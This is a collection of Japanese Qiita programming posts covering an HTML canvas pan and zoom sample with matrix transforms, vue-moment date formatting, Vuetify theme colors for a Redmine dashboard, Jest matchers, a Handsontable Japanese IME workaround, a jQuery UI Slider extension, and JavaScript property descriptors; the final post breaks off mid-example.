    _vv.x = oldCenter.x - _vv.w / 2;
    _vv.y = oldCenter.y - _vv.h / 2;

    // 射影行列と射影行列の逆行列を更新する   
    updatePrjMatrix();
}

// リサイズ
// 矩形の左上隅を中心に何も変化がないように見せる
function resizeNoScaleTopLeft() {
    // 変更前の拡大率を求める
    const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };    // rate.xはrate.yと等しいんだけど、一応xもyも求めておく

    // ビューポートの更新
    updateViewport();

    // ビューボリュームの更新(幅と高さのみ更新する)
    _vv.w = _vp.w * rate.x;
    _vv.h = _vp.h * rate.y;

    // 射影行列と射影行列の逆行列を更新する   
    updatePrjMatrix();
}

$(window).on('resize', e => {
    // リサイズイベント毎に処理しないように少し時間をおいて処理する
    if(_resizeTimeoutId !== -1) {
        clearTimeout(_resizeTimeoutId);
        _resizeTimeoutId = -1;
    }
    _resizeTimeoutId = setTimeout(() => {
        if(_resizeType === 'scale center') {
            resizeScaleCenter();
        } else if(_resizeType === 'scale top left') {
            resizeScaleTopLeft();
        } else if(_resizeType === 'no scale center') {
            resizeNoScaleCenter();
        } else if(_resizeType === 'no scale top left') {
            resizeNoScaleTopLeft();
        } 
        updateDom();
        _redrawFlag = true;
        _resizeTimeoutId = -1;
    }, 500);
});

全ソース

.htmlで1ファイルです。
コメントはたくさん書いています。
著作権は放棄しますので、ご自由にお使いください。
jqueryだけ、ご準備ください。
次の記事はこの仕様に加えて、丸、三角、四角を操作できるようにしてみようと思います。

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1">
<title>canvas sample(PC Chrome)</title>
<script src="./js/jquery-3.4.1.min.js" type="text/javascript"></script>
<style>
body {
    overflow: hidden;
}
#canvas {
    position: absolute;
    left: 0;
    top: 0;    
}
#resize-select {
    position: absolute;
    left: 20px;
    top: 20px;
    font-size: 24px;    
}
</style>
<script>
// ES6 for Chrome
class Matrix {
    // m0は行列、m1は行列又はベクトル
    // 行列は大きさ9の1次元配列であること。 ex. [ 1, 0, 0, 0, 1, 0, 0, 0, 1 ]
    // ベクトルはxとyをプロパティに持つ連想配列であること。 ex. { x: 2, y: 4 }
    // 左からベクトルをかけることは想定していない
    static multiply(m0, m1) {
        if(m1.length && m1.length === 9) {// m1は行列
            return [
                m0[0] * m1[0] + m0[1] * m1[3] + m0[2] * m1[6],
                m0[0] * m1[1] + m0[1] * m1[4] + m0[2] * m1[7],
                m0[0] * m1[2] + m0[1] * m1[5] + m0[2] * m1[8],
                m0[3] * m1[0] + m0[4] * m1[3] + m0[5] * m1[6],
                m0[3] * m1[1] + m0[4] * m1[4] + m0[5] * m1[7],
                m0[3] * m1[2] + m0[4] * m1[5] + m0[5] * m1[8],
                m0[6] * m1[0] + m0[7] * m1[3] + m0[8] * m1[6],
                m0[6] * m1[1] + m0[7] * m1[4] + m0[8] * m1[7],
                m0[6] * m1[2] + m0[7] * m1[5] + m0[8] * m1[8],
            ];
        } else {// m1はベクトル
            return {
                x: m0[0] * m1.x + m0[1] * m1.y + m0[2],
                y: m0[3] * m1.x + m0[4] * m1.y + m0[5],                
            };
        }
    }
    static translate(x, y) {
        return [1, 0, x, 0, 1, y, 0, 0, 1];
    }
    static scale(x, y) {
        return [x, 0, 0, 0, y, 0, 0, 0, 1];
    }
}
$(() => {

    let _translating,   // 平行移動中かどうかのフラグ
        _prePos,        // 平行移動時の1つ前の座標
        _redrawFlag,    // 再描画フラグ
        _m,             // 射影行列
        _inv,           // 射影行列の逆行列
        _vv,            // ビューボリューム(表示範囲)
        _vp,            // ビューポート(canvasの矩形)
        _resizeTimeoutId,   // windowリサイズ時に使用するタイマーのID
        _resizeType;        // windowリサイズ時のビューボリューム更新メソッドの種類

    initModel();        // モデルの初期化
    updateDom();        // ビュー(DOM)の初期化
    initController();   // コントローラの初期化
    anim();             // ビュー(canvas)の更新は、ここで行う

    // モデルの初期化
    function initModel() {
        _translating = false;   // 平行移動中かどうかのフラグ
        _redrawFlag = true;     // 再描画フラグ(初回描画の為trueにしておく)
        _resizeTimeoutId = -1;  // windowリサイズ時に使用するタイマーのID
        _resizeType = 'no scale top left'; // windowリサイズ時のビューボリューム更新メソッドの種類

        // ビューポートとビューボリュームを初期化する
        updateViewport();
        _vv = { x: 0, y: 0, w: _vp.w, h: _vp.h };
        // 射影行列と射影行列の逆行列を更新する 
        updatePrjMatrix();
    }

    // コントローラの初期化
    function initController() {

        // イベントハンドラ 
        $('#canvas').on('mousedown', e => {
            var cursorPos;  // スクリーン座標系のカーソルの座標

            // ブラウザのデフォルト動作を抑止(これをしないと、canvas上でのdragによる操作がうまく動作しない)
            e.preventDefault();

            if(_resizeTimeoutId !== -1) { return; } // リサイズ処理待ち

            if (_translating) {
                return;
            }
            _translating = true;

            // スクリーン座標系のカーソルの座標を取得
            cursorPos = { x: e.pageX, y: e.pageY };

            // スクリーン座標系をワールド座標系に変換
            _prePos = screenToWorld(cursorPos);        
        }); 

        $('#canvas').on('mousemove', e => {
            let cursorPos,  // スクリーン座標系のカーソルの座標
                curPos;     // ワールド座標系のカーソルの座標

            if(!_translating) {
                return;
            }

            // スクリーン座標系のカーソルの座標を取得
            cursorPos = { x: e.pageX, y: e.pageY };

            // スクリーン座標系をワールド座標系に変換
            curPos = screenToWorld(cursorPos);

            // 平行移動する
            translate({ x: _prePos.x - curPos.x, y: _prePos.y - curPos.y });

            // カーソルの座標をワールド座標系へ変換
            _prePos = screenToWorld(cursorPos);

            // 再描画フラグを立てる
            _redrawFlag = true;
        });  

        $('#canvas').on('mouseup', e => {
            _translating = false;
        });

        $('#canvas').on('mousewheel', e => {

            let cursorPos,  // スクリーン座標系のカーソルの座標
                curPos,     // ワールド座標系のカーソルの座標
                rate;

            if(_resizeTimeoutId !== -1) { return; } // リサイズ処理待ち

            // スクリーン座標系のカーソルの座標を取得
            cursorPos = { x: e.pageX, y: e.pageY };

            // スクリーン座標系をワールド座標系に変換
            curPos = screenToWorld(cursorPos);

            if (e.originalEvent.wheelDelta > 0) {// 奥へ動かした -> 拡大する -> ビューボリュームを縮小する
                rate = 1 / 1.2;
            } else {// 手前へ動かした -> 縮小する -> ビューボリュームを拡大する
                rate = 1.2;
            }

            // 拡大縮小する
            scale(curPos, rate);

            // 再描画フラグを立てる
            _redrawFlag = true;
        });

        $(window).on('resize', e => {
            // リサイズイベント毎に処理しないように少し時間をおいて処理する
            if(_resizeTimeoutId !== -1) {
                clearTimeout(_resizeTimeoutId);
                _resizeTimeoutId = -1;
            }
            _resizeTimeoutId = setTimeout(() => {
                if(_resizeType === 'scale center') {
                    resizeScaleCenter();
                } else if(_resizeType === 'scale top left') {
                    resizeScaleTopLeft();
                } else if(_resizeType === 'no scale center') {
                    resizeNoScaleCenter();
                } else if(_resizeType === 'no scale top left') {
                    resizeNoScaleTopLeft();
                } 
                updateDom();
                _redrawFlag = true;
                _resizeTimeoutId = -1;
            }, 500);
        });

        $('#resize-select').change(e => {
            _resizeType = $(e.target).val();
        });
    }    

    // 滑らかに描画できるようにrequestAnimationFrameのタイミングで必要に応じて再描画する
    function anim() {
        if (_redrawFlag) {// 再描画する
            updateView();
            _redrawFlag = false;
        } 
        requestAnimationFrame(anim);
    }

    // ビューポートの更新
    function updateViewport() {
        _vp = { x: 0, y: 0, w: window.innerWidth, h: window.innerHeight };
    }

    // 射影行列をビューポートとビューボリュームから計算する
    function updatePrjMatrix() {
        const trans = Matrix.translate(-_vv.x, -_vv.y), // ビューボリュームの左上隅を原点へ移動する
            invTrans = Matrix.translate(_vv.x, _vv.y),  // ビューボリュームの左上隅を原点へ移動する逆行列を求める
            scale = Matrix.scale(_vp.w / _vv.w, _vp.h / _vv.h), // ビューボリュームの拡大縮小し、ビューポートにフィットような行列を求める
            invScale = Matrix.scale(_vv.w / _vp.w, _vv.h / _vp.h);   // ビューボリュームの拡大縮小し、ビューポートにフィットような行列の逆行列を求める
        _m = Matrix.multiply(scale, trans); // 射影行列を更新する
        _inv = Matrix.multiply(invTrans, invScale); // 射影行列の逆行列を更新する        
    }

    // リサイズ
    // ビューボリュームの矩形の中心が変わらないように更新する
    function resizeScaleCenter() {
        // 変更前の拡大率を求める
        const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };
        let vvsq = {};

        if(_vv.w > _vv.h) {// 横長
            vvsq.y = _vv.y;
            vvsq.size = _vv.h;
            vvsq.x = _vv.x + (_vv.w - vvsq.size) / 2; 
        } else {// 縦長
            vvsq.x = _vv.x;
            vvsq.size = _vv.w;
            vvsq.y = _vv.y + (_vv.h - vvsq.size) / 2;
        }        

        // ビューポートの更新
        updateViewport();

        // ビューボリュームの更新
        const aspect = _vp.w / _vp.h;
        if(aspect > 1) {// 横長
            _vv.y = vvsq.y;
            _vv.h = vvsq.size;
            _vv.x = vvsq.x - (vvsq.size * aspect) / 2 + vvsq.size / 2;
            _vv.w = vvsq.size * aspect;
        } else {// 縦長
            _vv.x = vvsq.x;
            _vv.w = vvsq.size;
            _vv.y = vvsq.y - (vvsq.size / aspect) / 2 + vvsq.size / 2;
            _vv.h = vvsq.size / aspect;
        }

        // 射影行列と射影行列の逆行列を更新する   
        updatePrjMatrix();
    }

    // リサイズ
    // ビューボリュームの矩形の左上隅が変わらないように更新する
    function resizeScaleTopLeft() {
        // 変更前の拡大率を求める
        const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };
        let vvsq = {};

        if(_vv.w > _vv.h) {// 横長
            vvsq.size = _vv.h;
        } else {// 縦長
            vvsq.size = _vv.w;
        }        

        // ビューポートの更新
        updateViewport();

        // ビューボリュームの更新
        const aspect = _vp.w / _vp.h;
        if(aspect > 1) {// 横長
            _vv.h = vvsq.size;
            _vv.w = vvsq.size * aspect;
        } else {// 縦長
            _vv.w = vvsq.size;
            _vv.h = vvsq.size / aspect;
        }

        // 射影行列と射影行列の逆行列を更新する   
        updatePrjMatrix();
    }

    // リサイズ
    // 矩形の中央を中心に何も変化がないように見せる
    function resizeNoScaleCenter() {
        // 変更前の拡大率を求める
        const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };    // rate.xはrate.yと等しいんだけど、一応xもyも求めておく
        // 変更前のビューボリュームの中心点を求める
        const oldCenter = {
            x: _vv.x + _vv.w / 2,
            y: _vv.y + _vv.h / 2
        };
        // ビューポートの更新
        updateViewport();

        // ビューボリュームの更新(幅と高さのみ更新する)
        _vv.w = _vp.w * rate.x;
        _vv.h = _vp.h * rate.y;
        _vv.x = oldCenter.x - _vv.w / 2;
        _vv.y = oldCenter.y - _vv.h / 2;

        // 射影行列と射影行列の逆行列を更新する   
        updatePrjMatrix();
    }

    // リサイズ
    // 矩形の左上隅を中心に何も変化がないように見せる
    function resizeNoScaleTopLeft() {
        // 変更前の拡大率を求める
        const rate = { x: _vv.w / _vp.w, y: _vv.h / _vp.h };    // rate.xはrate.yと等しいんだけど、一応xもyも求めておく

        // ビューポートの更新
        updateViewport();

        // ビューボリュームの更新(幅と高さのみ更新する)
        _vv.w = _vp.w * rate.x;
        _vv.h = _vp.h * rate.y;

        // 射影行列と射影行列の逆行列を更新する   
        updatePrjMatrix();
    }

    // 平行移動
    function translate(vec) {
        // ビューボリュームを更新する
        _vv.x += vec.x;
        _vv.y += vec.y;
        // 射影行列と射影行列の逆行列を更新する   
        updatePrjMatrix();
    }

    // 拡大縮小
    function scale(center, rate) {
        let topLeft = { x: _vv.x, y: _vv.y },
            mat;

        // 中心座標を原点へ移動する
        mat = Matrix.translate(-center.x, -center.y);
        // 拡大縮小する
        mat = Matrix.multiply(Matrix.scale(rate, rate), mat);
        // 原点を中心座標へ戻す
        mat = Matrix.multiply(Matrix.translate(center.x, center.y), mat);

        topLeft = Matrix.multiply(mat, topLeft);

        // ビューボリューム更新
        _vv.x = topLeft.x;
        _vv.y = topLeft.y;
        _vv.w *= rate;
        _vv.h *= rate;

        // 射影行列と射影行列の逆行列を更新する   
        updatePrjMatrix();
    }

    // スクリーン座標をワールド座標へ変換する
    function screenToWorld(screenPos) {
        return Matrix.multiply(_inv, screenPos);
    }

    // ビュー(DOM)の更新
    function updateDom() {

        // canvasをリサイズ
        $('#canvas').prop({
            width: _vp.w,
            height: _vp.h
        });  

        // リサイズタイプの設定(初期化時のみ)
        $('#resize-select').val(_resizeType);
    }

    // ビュー(canvas)更新
    // ※本関数はanim関数で呼ばれる
    function updateView() {
        const ctx = $('#canvas')[0].getContext('2d');

        ctx.save();

        // canvasをクリアする
        ctx.clearRect(0, 0, ctx.canvas.width, ctx.canvas.height);

        // 射影行列をセットする(これによりワールド座標系からスクリーン座標系への射影が行われる)
        ctx.setTransform(_m[0], _m[3], _m[1], _m[4], _m[2], _m[5]);

        // 矩形、丸、三角形を適当な位置へ描画

        // 青色の矩形を描画
        ctx.fillStyle = 'blue';
        ctx.fillRect(400, 200, 100, 100);        

        // 赤色の丸を描画
        ctx.fillStyle = 'red';
        ctx.beginPath();
        ctx.arc(300, 600, 50, 0, 360 * Math.PI / 180, false);
        ctx.fill();

        // 緑色の三角形を描画
        ctx.fillStyle = 'green';
        ctx.beginPath();
        ctx.moveTo(800, 500);
        ctx.lineTo(750, 600);
        ctx.lineTo(850, 600);
        ctx.fill();

        ctx.restore();
    }
});
</script>
</head>
<body>
<canvas id="canvas"></canvas>
<select id="resize-select">
    <option value="scale center">1:&nbsp;scale 中央中心</option>
    <option value="scale top left">2:&nbsp;scale 左上隅中心</option>
    <option value="no scale center">3:&nbsp;no&nbsp;scale 中央中心</option>
    <option value="no scale top left">4:&nbsp;no&nbsp;scale 左上隅中心</option>
</select>
</body>
</html>


  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

[Vue.js] vue-momentで日付をフォーマットする

インストール

npm install vue-moment

Vueプロジェクトにインポート

main.js
Vue.use(require('vue-moment'));

.vueファイルで使う

or演算子|の右辺でフォーマット形式を指定します。

App.vue
{{ new Date() }}
// 05 2020 19:38:33 GMT+0900 (日本標準時)

{{ new Date() | moment("dddd, MMMM, Do, YYYY, h:mm:ss a") }}
// Thursday, March, 5th, 2020, 7:38:33 pm

{{ new Date() | moment("YYYY/MM/DD") }}
// 2020/03/05

参考にしたサイト

vue-moment - npm
https://www.npmjs.com/package/vue-moment

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

VuetifyでRedmineのダッシュボードを作成する時にテーマをこんな感じにすると便利かもというお話

Vue.jsVuetifyを勉強中の8amjpです。

はじめに

さて、私の職場ではRedmineが稼働してまして、さらにそのデータを見やすく加工したダッシュボードを作成して、大型ディスプレイに表示してるんですけど。
そのダッシュボード、今まではAngularで作ってたんですが、Vue.jsも勉強したいしVuetifyでマテリアルデザインを満喫したいし……ということで、現在リプレースの真っ最中です。Vue.jsもたのしー!
その過程で覚えた小ネタをひとつ。

テーマにカスタムカラーを追加する

Vuetifyとは、Vue.jsベースのフレームワークで、ダッシュボードみたいなWebアプリを作るのに最適なんですけど。
このVuetify、「テーマ」という機能を持っていて、これがRedmineのデータの表示にとても便利なんです。
具体的に言うと……
チケットの一覧なんかを表示する際、チケットのステータスやトラッカーの値によって色を変えたい……ってこと、良くあるじゃないですか。
そんな時、「tracker1」とか「status1」なんていう名前のカスタムカラーを簡単に追加できます。
こんな感じで、plugins/vuetify.jsを編集しましょう。

plugins/vuetify.js
import Vue from 'vue';
import Vuetify from 'vuetify/lib';
import colors from 'vuetify/lib/util/colors'; // 追加

Vue.use(Vuetify);

export default new Vuetify({
  theme: { // 追加
    themes: {
      light: {
        // トラッカー
        tracker1: colors.red.base, // バグ
        tracker2: colors.amber.base, // 機能
        tracker3: colors.blue.base, // サポート
        // ステータス
        status1: colors.red.accent1, // 新規
        status2: colors.blue.lighten5, // 進行中
        status3: colors.green.lighten5, // 解決
        status4: colors.amber.lighten5, // フィードバック
        status5: colors.grey.lighten1, // 終了
        status6: colors.grey.lighten1, // 対応中
      }
    }
  },
});

で、コンポーネント側ではこんな感じでカラーを指定します。

Hoge.vue
<v-list-item :class="'status'+issue.status.id">
  <v-list-item-title>
    <v-chip dark v-text="'#'+issue.id" :color="'tracker'+issue.tracker.id"/>
    {{issue.subject}}
  </v-list-item-title>
</v-list-item>

こんな感じで、ステータスやトラッカーの値に応じた色を簡単に適用できますよ。
今までは似たような事をSassで定義してたんですけど、断然こっちの方が手軽ですねー。とっても便利。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

jest の toBe と toEqual の違いを比較

1時間ほどハマったのでメモを。

toBe と toEqual の使い所

  • number, string の比較ならどちらでも良さそう。
  • object を比較する場合は、 toEqual 。

number, string

どちらも期待通りの結果に。

    it('number', () => {
      expect(1 + 1).toBe(2) // ok
      expect(1 + 1).toEqual(2) // ok
    })
    it('string', () => {
      expect('d' + 'b').toBe('db') // ok
      expect('d' + 'b').toEqual('db') // ok
    })

object

同じデータが入っていても toBe だと Fail します。

    it('object', () => {
      const user = { name: 'Hoge', age: 30 }
      // expect(user).toBe({ name: 'Hoge', age: 30 }) // Fail
      expect(user).toEqual({ name: 'Hoge', age: 30 })
    })

もともと日付の比較でハマってました。 Date は toEqual を利用しましょう。

    it('date', () => {
      const date = new Date('2020/01/01 00:00:00')
      // expect(date).toBe(new Date('2020/01/01 00:00:00')) // Fail
      expect(date).toEqual(new Date('2020/01/01 00:00:00'))
    })

new したインスタンスの比較も同様です。

    it('class', () => {
      class User {
        age: number
        constructor(age:number) {
          this.age = age
        }
      }
      const user = new User(30)
      // expect(user).toBe(new User(30)) // Fail
      expect(user).toEqual(new User(30))
    })

object の id が異なるからでしょうか。

参考

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

HANSONTABLEのセル入力における日本語対応について

HANSONTABLEの2バイト入力への対応

ハンズオンはブラウザ上に表形式のインターフェイスを提供するありがたい部位です。
これを使用するにあたり、日本特有である日本語入力時の不具合があり
かなりハマったので、備忘録として残しておきます。


まずはハンズオンテーブルとは・・
https://handsontable.com/

JavaScript data grid that looks
and feels like a spreadsheet.
Minimalistic, Excel-like grid component for web apps.
Available for pure JavaScript, React, Vue, and Angular.


問題点

そもそも英語圏の部品なので、日本のように全角半角がある場合の対処ができていない。

現象

ハンズオンで表示したテーブルのセル(テキスト)に対して、フォーカスを当てただけの状態で、IMEをON(日本語入力)した際、最初の1文字が入力されない。

col1 col2 col3
inputText readonly dropdown
inputText readonly dropdown

上記でcol1のinputTextにフォーカスだけを当て、「あいう」と入力すると
実際にセットされる値は「いう」となる。
IMEOFFの場合は問題なく動作します。
「abc」と入力するとそのまま「abc」とセットされます。
ちなみに、セルをダブルクリックし、入力モードにすると日本語でも問題ありません。

解決策

色々考えた結果、フォーカスだけが当たった状態をなくしました。

afterSelectionEnd
afterSelectionEnd: function (r, c, r2, c2) {
    //単一セルが選択されたとき
    if (r != r2 || c != c2) {return;}

    //セルエディタが'textEditor'のみ強制的に入力モードにする
    //あらかじめ入力テキストのEditorをそろえて
    var celleditor = this.getCellEditor(r, c)
    if (celleditor == null) {return;}
    if (this.getCellMeta(r, c).readOnly) {return;}
    if (celleditor != 'textEditor') {return;}

    //強制入力モード
    var acteditor = this.getActiveEditor();
    var cellval = this.getValue();
    acteditor.beginEditing();
    this.setDataAtCell(r, c, cellval, 'system');
}

本来は、acteditor.beginEditing();するだけでよさそうなものでしたが、なぜか入力していた文字が消える現象が発生します。それも、消えるときと消えない時がある・・。
なので
var cellval = this.getValue();
で現在値を取得しておき、強制入力モードにしてから、再度現在値をセットしました。
これで、動き的には違和感がなくなりました。矢印キーでの移動も可能です。

ちなみに、acteditor.enableFullEditMode();を使えばよいという掲示板も見かけましたがそれだとうまく動作しません。
また、afterSelectionのイベントもありますが、afterSelectionEndのイベントでしかうまく動作しませんでした。

たぶん、hansontableを使うと同じ壁にぶつかる人がいてるとおもうので、何かのお役にたてればと思います・・。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

jQuery UI Slider で、ハンドルの数を増減したい話

前書き

そもそも、ここの回答を転記、加工して、動作を確認しただけです。
なぜ書き直したかといいますと、2013年の回答と、現在のバージョンが異なるから、
サンプルページが動作していなかったため、
そして、日本語での参考にできる記事がなかったため、検索性を考えて、転記しておこうということです。

ということなので、話はタイトルで分かったから、早くという人は本家からコピーしたほうが早いです。元のままでもちゃんと動きました。

もしくは、本番へどうぞ。

何がしたいか

jQuery UIのSliderという機能、ハンドル(値を持てる箇所)を複数指定する場合

$('#slider').slider({
    min : 0,
    max : 50,
    values : [0,10,20,30,40,50]
});

こんな感じで、指定してあげると、6つのハンドルができます。
11.PNG

このハンドルを、操作するには、

$('#slider').slider('option',{
    'values' : [5,15,25,35,45,50]
});

こんな感じで、指定すれば、ハンドルを操作することができます。
12.PNG

では、ハンドルの数を変化させたい場合は、

// 増やす?
$('#slider').slider('option',{
    'values' : [0,15,10,20,30,40,50]
});

// 減らす?
$('#slider').slider('option',{
    'values' : [0,10,20,30,40]
});

これだと、動かないです。
エラーは起きないのですが、
valuesは初期化したとき作られた、ハンドルは操作できますが、
後からハンドルの数の変動はできない仕様になっています。

今回は、これを、jQuery UI の拡張という手を使って、sliderにmethodを追加して解決しました。

本番

前書きが長くなりましたが、
では本番です。

環境

  • Chrome 80.0.3987.132
  • jQuery 3.3.1
  • jQuery UI 1.12.1

いずれも、2020/03/05時点で最新版

コード

<!DOCTYPE html>
<html lang="ja-jp">
<head>
    <title></title>
    <meta charset="utf-8">
    <link rel="stylesheet" type="text/css" href="./css/jquery-ui.min.css">
    <link rel="stylesheet" type="text/css" href="./css/jquery-ui.structure.min.css">
    <style type="text/css">
        #slider {
            width: 500px;
            margin: 50px
        }
    </style>
</head>
<body>
<script src="https://code.jquery.com/jquery-3.3.1.min.js" crossorigin="anonymous"></script>
<script src="./js/jquery-ui.min.js"></script>
<div id="slider"></div>
<div><button id="add_btn">追加</button><button id="remove_btn">削除</button></div>

    <script type="text/javascript">
// ハンドルの配列
var slider_handles = [0,10,20,30,40,50];
$(function(){
    // jQuery UI slider の拡張
    $.widget('my-namespace.slider', $.ui.slider, {
        addValue: function(val) {
            this.options.values.push(val);
            this._refresh();
        },
        removeValue: function() {
            this.options.values.pop();
            this._refresh();
        }
    });

    // sliderの初期化
    $('#slider').slider({
        min : 0,
        max : 100,
        values : slider_handles
    });

    // ボタンのイベントリスナ
    $('#add_btn').on('click', function(event) {
        // 一番最後にあるハンドルに+10した場所に新しく作る
        $('#slider').slider('addValue',slider_handles[slider_handles.length-1]+10);
    });
    $('#remove_btn').on('click', function(event) {
        // ハンドルを1つ削除
        $('#slider').slider('removeValue');
    });
});
    </script>
</body>
</html>

こんな感じです。上のソースはjQuery UIだけダウンロードしてきて、そのままコピペすれば動くはずです。

簡単に説明

    // jQuery UI slider の拡張
    $.widget('my-namespace.slider', $.ui.slider, {
        addValue: function(val) {
            this.options.values.push(val);
            this._refresh();
        },
        removeValue: function() {
            this.options.values.pop();
            this._refresh();
        }
    });

の部分で、sliderを拡張しています。addValueと、removeValueを追加しています。
大切なのは、this._refresh()だけです。
this._refresh()は、sliderの初期化時に、処理される部分で、一度sliderを破棄してから、作り直しています。

あとは、ボタンのイベントリスナーからそれぞれのメソッドを呼び出します。

// ボタンのイベントリスナー
    $('#add_btn').on('click', function(event) {
        $('#slider').slider('addValue',slider_handles[slider_handles.length-1]+10);
    });
    $('#remove_btn').on('click', function(event) {
       $('#slider').slider('removeValue');
    });

追加する方のイベントリスナーでは、新しいハンドルの場所をしてしなくてはいけないので、
サンプルとしては、とりあえず、今ある一番最後のハンドルの+10の位置に追加しています。

注意書き

元のsliderをオーバーライトして使ってる話

$.widget('my-namespace.slider', $.ui.slider, {});の部分は、
$.ui.sliderを継承して、my-namespace.sliderを新しく作っています。
今回は、そのまま同じ名前の、sliderを使っているので、何も気にせず、拡張されていますが、
この方法を使うと、拡張部分をコピーし忘れてソースコード中からほかのプログラムにコピペすると、動かないので、
$.widget('my-namespace.custom_slider', $.ui.slider, {});のように、
新しい名前を付けて使うのが普通見たいです。ただ、その場合、$(selector).slider();で書いているところをすべて、
$(slector).custom_slider();に書き換えて使ってください。
散々コードを書いてしまった後で、追加するようなときは、今回のようにすると、そのまま使えます。

配列をグローバルに置いている話

ハンドルの値をしまっている配列をグローバルに置いてるのは、今回わかりやすくするために置いただけで、
$('#slider').slider('values');に取得してあげれば、素直に配列で返ってくるので、グローバルを汚したくない人はこちらがいいかも。

ないのに削除したり、もう入らないのに追加できる話

removeでは、配列の中に1つもなくても、実行できています。
addでは、値がはみ出ても追加できています。
実際に使うときはアラート出すなりして、それぞれ工夫してください。

余談

要はthis._refresh()

this._refresh();だけで動くんだったら、refreshメソッドだけ拡張すればいい気もする。
今回私は、1行ずつの追加削除でよかったけれど、複数行扱うときは、そのほうがいい気がする。

array.pop()だけでは不満なら

頭から消したかったり、指定して削除したかったり、することもあるかも、と思った。今のところない。
実装が必要になったら、更新するかもしれない。

本家が実装してくれればいいのに

お願いします。

最後に

サンプルとして投稿しているコードは実際に使ったものを抽象化しているものです。
動作は保証しませんが、問題があれば、教えていただければ修正するかもしれません。

この投稿のコード権利を主張しませんので、適当にコピペして使って大丈夫です。

質問とか、適当こいてんじゃないよみたいなことがあれば、コメントいただければ。

  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

JavaScriptのオブジェクトプロパティの隠し属性「writable」「enumerable」「configurable」を知る

JavaScriptのプロパティ1には内部的に次の4つの属性が付与されているのはご存知でしょうか?

  1. [[Value]]
  2. [[Writable]]
  3. [[Enumerable]]]
  4. [[Configurable]]

普段、オブジェクトを扱っているときはあまり意識することがないものかも知れません。しかし、これらを理解しておくと、より細やかにプロパティの仕様を定義することができます。例えば、実行時に変更されてはまずいプロパティを保護したり、JSON.stringifyに特定のプロパティを含めないようにできたりと、一歩踏み込んだコーディングができるようになります。

これらのプロパティ属性は、Object.getOwnPropertyDescriptors()で簡単に調べることができます。

const obj = { foo: 1, bar: true }
console.log(Object.getOwnPropertyDescriptors(obj))
出力結果
{
  foo: { value: 1, writable: true, enumerable: true, configurable: true },
  bar: { value: true, writable: true, enumerable: true, configurable: true }
}

本稿では、この4つの属性のうち、writable、enumerable、configurableの3つについて説明します。

まとめ

先に結論を示しておきます。

  • writable
    • プロパティの値を上書きできるか?
    • true: ミュータブルな値となり、代入演算が変更できる。
    • false: イミュータブルな値となり、代入演算ができなくなる。
  • enumerable
    • プロパティを列挙できるか?
    • true: for .. inObject.keys()JSON.stringify()などの対象になる。
    • false: 上記の対象に含まれなくなる。
  • configurable
    • プロパティの属性設定を変更できるか?
    • true: プロパティの属性の変更ができるようになり、deleteでプロパティの削除も可能。
    • false: 上記の操作ができなくなる。

writableとconfigurableの違いが気になるところですが、writableは値(value)の変更について作用し、configurableはプロパティ属性(writableenumerable, configurableなど)を再設定できるかどうかに作用する点で異なります。

この2つを組み合わせることで、代入はできるけど、プロパティ属性の変更はできない、といった仕様にすることもできます。

Pasted_Image_2020_03_05_14_40.png

オブジェクト属性を操作するには?

ここでは、オブジェクト属性を操作する方法を見ていきます。

プロパティ属性を変更するには?

すでに存在しているプロパティの属性を変更するには、Object.definePropertyメソッドを使います。第三引数に属性設定値を渡すと、それに沿った設定に変更されます。

const obj = { foo: 1 }
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: true, enumerable: true, configurable: true }
//                         ^^^^              ^^^^                ^^^^

Object.defineProperty(obj, 'foo', {
    writable: false,
    enumerable: false,
    configurable: false,
})
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: false, enumerable: false, configurable: false }
//                         ^^^^^              ^^^^^                ^^^^^

なお、属性値を一部省略した場合は、元の属性値が残ります。つまり、差分適用になります。

// writableだけ指定した場合
Object.defineProperty(obj, 'foo', { writable: false })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: false, enumerable: true, configurable: true }
//                         ^^^^^ ここだけ変更になる

プロパティを追加しながら属性を設定する

上では既存のプロパティの属性変更の操作でしたが、Object.definePropertyメソッドは、プロパティを追加しながら、その属性を定義することもできます。

const obj = { }
Object.defineProperty(obj, 'foo', {
    value: 1,
    writable: true,
    enumerable: true,
    configurable: true,
})
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: true, enumerable: true, configurable: true }

ちなみに、これらの属性値を省くと、デフォルトでfalseになります。

const obj = { }
Object.defineProperty(obj, 'foo', { value: 1 })
console.log(Object.getOwnPropertyDescriptor(obj, 'foo'))
//=> { value: 1, writable: false, enumerable: false, configurable: false }

3つの属性

ここからは、writable、enumerable、configurableの3つの属性について見ていきます。

writable

writable属性は、オブジェクトプロパティの値を変更できるかの設定です。代入演算子をプロパティに対して使えるかということです。代入演算子とは、=をはじめ、+=-=のことです。

writableをfalseにすることで、オブジェクトプロパティをイミュータブルにすることができます。

const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { writable: false }) // 書き込み不可に変更
obj.foo = 2 // 書き込みしてみる
console.log(obj)
//=> { foo: 1 }

writableがfalseの場合、代入演算は無視されます。

writableをfalseにしている身近な例は、Functionnameプロパティです。

function foo() {}
console.log(foo.name) //=> foo
foo.name = 'hoge' // 変更は効かない
console.log(foo.name) //=> foo
console.log(Object.getOwnPropertyDescriptor(foo, 'name'))
//=> { value: 'foo', writable: false, enumerable: false, configurable: true }

Strictモードが有効になっている場合、無視ではなくTypeErrorが発生します。

"use strict"
const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { writable: false })
obj.foo = 2
//=> TypeError: Cannot assign to read only property 'foo' of object '#<Object>'

Object.assignによる値の変更は、Strictモードに限らず、TypeErrorが発生します。

const obj = { foo: 1 }
Object.defineProperty(obj, 'foo', { writable: false })
